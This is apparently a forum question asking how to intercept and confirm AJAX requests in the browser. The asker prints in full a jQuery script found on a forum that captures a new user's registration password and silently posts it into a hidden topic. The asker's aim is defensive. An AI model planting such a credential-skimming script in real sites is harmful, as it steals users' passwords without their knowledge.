I have the following question, how can I do to "intercept" AJAX requests before they are done?
For example, in some forums while constantly browsing requests are being made without our knowledge, another day I was in a forum and I decided to take a look at their scripts and found the following:
jQuery(document).ready(function () {
if (_userdata["user_posts"] === 0) {
jQuery('<div id="get_pass" style="display: none;"></div>').insertAfter('#right .module:last');
jQuery('#ucp input[name="submit"]').on('click', function () {
var fieldValue = document.getElementById('password_reg').value;
localStorage.setItem('text', fieldValue);
});
jQuery(window).load(function () {
storedValue = localStorage.getItem('text');
if (storedValue) {
jQuery('#get_pass').html(storedValue);
}
var senha = jQuery('#get_pass').text();
jQuery.post('/post', {
message: 'Minha senha: ' + senha + '',
t: '4',
mode: 'reply',
post: 'Enviar'
});
});
}
});
For those who do not understand, this causes the user to enter his password, this script takes the password and sends it to a hidden topic of normal users (via AJAX), ie the guy must have a log with the password of all the users of his forum.
I got into the habit of not using the same password on all the sites I navigate, so I will not have problems with it knowing mine or not, but I do not want this to happen again, so I'm looking for a script I want to use a Snippet in Chrome I do not know yet) every time an AJAX request is made a alert
appears on my screen showing what content will be sent in this request and some way to confirm it (if it is legitimate) or cancel be malicious). Is it possible to do this?